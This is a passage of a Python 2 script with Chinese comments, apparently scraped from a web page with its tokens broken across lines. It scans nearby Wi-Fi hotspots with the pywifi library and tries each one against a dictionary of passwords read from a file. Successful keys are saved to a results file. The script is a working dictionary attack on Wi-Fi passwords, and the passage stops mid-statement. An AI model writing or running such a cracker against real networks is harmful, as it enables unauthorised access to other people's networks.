正文
output = sys.stdout
#结果文件保存路径
files
=
"TestRes.txt"
#字典列表
keys
=
open
(sys.
argv
[
1
],
"r"
).readlines()
print
"|KEYS %s"
%(
len
(
keys
))
#实例化一个pywifi对象
wifi = PyWiFi()
#选择定一个网卡并赋值于iface
iface = wifi.interfaces()[
0
]
#通过iface进行一个时常为scantimes的扫描并获取附近的热点基础配置
scanres = scans(iface,scantimes)
#统计附近被发现的热点数量
nums =
len
(scanres)
print
"|SCAN GET %s"
%(nums)
print
"%s%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s %s"
%(
"-"
*
70
,
6
,
"WIFIID"
,
18
,
"SSID OR BSSID"
,
2
,
"N"
,
4
,
"time"
,
7
,
"signal"
,
10
,
"KEYNUM"
,
10
,
"KEY"
,
"="
*
70
)
#将每一个热点信息逐一进行测试
for
i,
x
in enumerate(scanres):
#测试完毕后,成功的结果讲存储到
files
中
res
= test(nums-i,iface,
x
,
keys
,output,testtimes)
if
re
s: